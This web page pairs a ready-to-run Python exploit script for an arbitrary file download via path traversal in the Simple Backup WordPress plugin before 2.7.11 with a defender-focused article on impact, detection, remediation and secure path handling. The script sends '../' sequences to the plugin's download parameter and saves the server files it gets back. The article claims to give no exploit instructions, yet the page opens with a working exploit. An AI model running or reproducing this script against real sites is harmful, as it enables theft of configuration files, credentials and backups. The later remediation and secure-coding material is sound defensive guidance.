Simple Backup Plugin Python Exploit 2.7.10 - Path Traversal
# Exploit Title: Simple Backup Plugin < 2.7.10 - Arbitrary File Download via Path Traversal
# Date: 2024-03-06
# Exploit Author: Ven3xy
# Software Link: https://downloads.wordpress.org/plugin/simple-backup.2.7.11.zip
# Version: 2.7.10
# Tested on: Linux
import sys
import requests
from urllib.parse import urljoin
import time
def exploit(target_url, file_name, depth):
traversal = '../' * depth
exploit_url = urljoin(target_url, '/wp-admin/tools.php')
params = {
'page': 'backup_manager',
'download_backup_file': f'{traversal}{file_name}'
}
response = requests.get(exploit_url, params=params)
if response.status_code == 200 and response.headers.get('Content-Disposition') \
and 'attachment; filename' in response.headers['Content-Disposition'] \
and response.headers.get('Content-Length') and int(response.headers['Content-Length']) > 0:
print(response.text) # Replace with the desired action for the downloaded content
file_path = f'simplebackup_{file_name}'
with open(file_path, 'wb') as file:
file.write(response.content)
print(f'File saved in: {file_path}')
else:
print("Nothing was downloaded. You can try to change the depth parameter or verify the correct filename.")
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python exploit.py <target_url> <file_name> <depth>")
sys.exit(1)
target_url = sys.argv[1]
file_name = sys.argv[2]
depth = int(sys.argv[3])
print("\n[+] Exploit Coded By - Venexy || Simple Backup Plugin 2.7.10 EXPLOIT\n\n")
time.sleep(5)
exploit(target_url, file_name, depth)Simple Backup Plugin < 2.7.10 — Path Traversal: Analysis, Impact, and Mitigation
This article explains a reported path traversal vulnerability in older versions of the Simple Backup WordPress plugin (versions prior to 2.7.11). It focuses on what a path traversal bug is, why it matters, how to detect attacks and compromise, and—most importantly—how to mitigate and securely fix the issue. The goal is to help administrators and developers remediate risk, improve detection, and harden file-serving code without providing exploit instructions.
Summary and Impact
Path traversal (directory traversal) is a class of vulnerability that allows an attacker to read (or sometimes write) files outside an intended directory by manipulating path input. For plugins that expose a file-download endpoint, insufficient validation of a filename or path parameter can permit access to arbitrary server files readable by the web server user.
- Affected component: a file-download endpoint in older versions of the Simple Backup plugin.
- Impact: disclosure of sensitive files (configuration files, private keys, database credentials, backup archives, etc.) if readable by the web server process.
- Risk level: high for sites that kept backups or secrets in accessible locations and did not update to the patched plugin.
- Primary mitigation: upgrade the plugin to the fixed version (2.7.11 or later) and follow the hardening steps below.
How Path Traversal Attacks Work (Conceptual)
At a high level, these attacks exploit insufficient sanitization of user-supplied path components. An application concatenates a user-supplied string with a base directory and serves the resulting path. If the code does not normalize the path and check that the final resolved path stays inside the intended directory, an attacker can include relative segments (for example, "../") to escape the intended directory and access files elsewhere on the filesystem.
Why This Is Particularly Sensitive for Backup Plugins
- Backup plugins frequently store or reference archive files containing site data and credentials.
- Backup or restore endpoints are often privileged and may not require additional checks beyond “is the plugin enabled”.
- Attackers who access backups can escalate misuse (database passwords, private keys, stored tokens)
Detection and Indicators of Compromise (Defender-Focused)
Monitoring and log auditing are key. Look for patterns that indicate attempts to fetch files outside expected directories.
- Unusual HTTP requests to plugin endpoints with path-like parameters or encoded path traversal sequences.
- Access to sensitive files (wp-config.php, .env, id_rsa, .mysql_history) around the same timestamps as suspicious endpoint hits.
- New copies of backups or unexpected downloads from administrative endpoints.
Example defensive log searches (only for detection): search web server logs for requests to the plugin download endpoint that contain suspicious path segments or encoded traversal. This is intended for administrators to find exploit attempts against their own infrastructure.
Immediate Remediation Steps
- Upgrade the Simple Backup plugin to the latest version provided by the vendor.
- Temporary mitigation: restrict access to the plugin administrative pages (IP allowlist or block by authentication). Require ADMIN capability checks at the webserver/WAF layer if possible.
- Remove or rotate any exposed credentials found in backups or config files discovered in logs.
- Harden file permissions: ensure backups and sensitive files are not world-readable by the web server user unless necessary.
- Audit backup storage locations and move backups outside of the webroot where feasible.
Secure Coding Patterns to Prevent Path Traversal
When an application must allow users to download files, follow these rules:
- Never trust raw user input for file paths.
- Use a whitelist of allowed files or a mapping from token to real file path rather than accepting arbitrary file names.
- Normalize and resolve the path using platform APIs, then check the resolved path is a descendant of an expected base directory.
- Enforce capability checks and authentication on sensitive endpoints (WordPress: current_user_can('manage_options') etc.).
Example: Secure PHP File-Serve Pattern for WordPress Plugins
<?php
// Example: safe file download handler (defensive pattern)
// Note: This is a hardening example; adapt it to your plugin architecture.
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Insufficient permissions', '403' );
}
$base_dir = WP_CONTENT_DIR . '/my_plugin_backups'; // allowed directory
$requested = isset( $_GET['file'] ) ? $_GET['file'] : '';
// Normalize, remove null-bytes, and prevent directory traversal
$requested = str_replace( "\0", '', $requested );
$requested = basename( $requested ); // restrict to a single filename component
$full_path = realpath( $base_dir . DIRECTORY_SEPARATOR . $requested );
if ( $full_path === false || strpos( $full_path, realpath( $base_dir ) ) !== 0 ) {
status_header( 400 );
exit( 'Invalid request' );
}
if ( ! is_file( $full_path ) || ! is_readable( $full_path ) ) {
status_header( 404 );
exit( 'Not found' );
}
// Serve file safely with appropriate headers
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . esc_attr( basename( $full_path ) ) . '"' );
readfile( $full_path );
exit;
?>
Explanation: This example demonstrates defensive measures: capability checks, restricting downloads to a predefined directory, using realpath() to resolve symbolic links and normalize the path, and verifying the resolved path begins with the canonical base-directory path. basename() reduces risk by allowing only a single filename component, but in systems that allow subdirectories you should resolve and compare full canonical paths instead.
Example: Safe Path Handling in Python (Server-Side Validation)
from pathlib import Path
def safe_resolve(base_dir, user_input):
# base_dir: Path object representing allowed directory
# user_input: untrusted string from request parameter
candidate = (base_dir / user_input).resolve()
if not str(candidate).startswith(str(base_dir.resolve())):
raise ValueError('Outside allowed directory')
return candidate
# usage
base = Path('/var/www/wp-content/my_backups')
try:
file_path = safe_resolve(base, user_supplied_name)
except ValueError:
# handle invalid request
pass
Explanation: This Python snippet shows how to join a base directory and an untrusted filename, resolve the resulting path to an absolute canonical path, and ensure the result is contained within the intended base directory. This prevents "../" and symbolic-link-based escapes.
Long-term Hardening & Operational Best Practices
- Adopt a whitelist approach: map logical identifiers to storage objects rather than relying on direct file path input.
- Store backups outside of web-accessible directories and serve them through authenticated APIs or admin-only handlers.
- Rotate secrets found in exposed backups immediately, and consider reissuing keys or passwords.
- Regularly scan site files and logs for suspicious access patterns; integrate alerts into SIEM workflows.
- Configure Web Application Firewall (WAF) rules to block obvious traversal patterns and rate-limit accesses to admin endpoints.
- Use least privilege for the webserver account; do not run it with broader filesystem access than required.
Responsible Disclosure and Next Steps for Administrators
If you are a site owner using the Simple Backup plugin, prioritize updating to the patched release. If you suspect your site may have been accessed via a traversal attempt, take the following steps:
- Check logs for suspicious download activity and verify files accessed.
- Revoke or rotate credentials found in any exposed files.
- Restore backups from known-good sources if integrity is in question.
- Report incidents to your hosting provider and follow incident response policies.
Conclusion
Path traversal vulnerabilities present a serious risk when administrative or backup functionality exposes file downloads. The correct defense is a combination of secure coding (canonicalization and whitelist checks), access control, minimizing sensitive files in web-accessible locations, and prompt patching. Administrators should prioritize updates and audit their environment for signs of unauthorized access.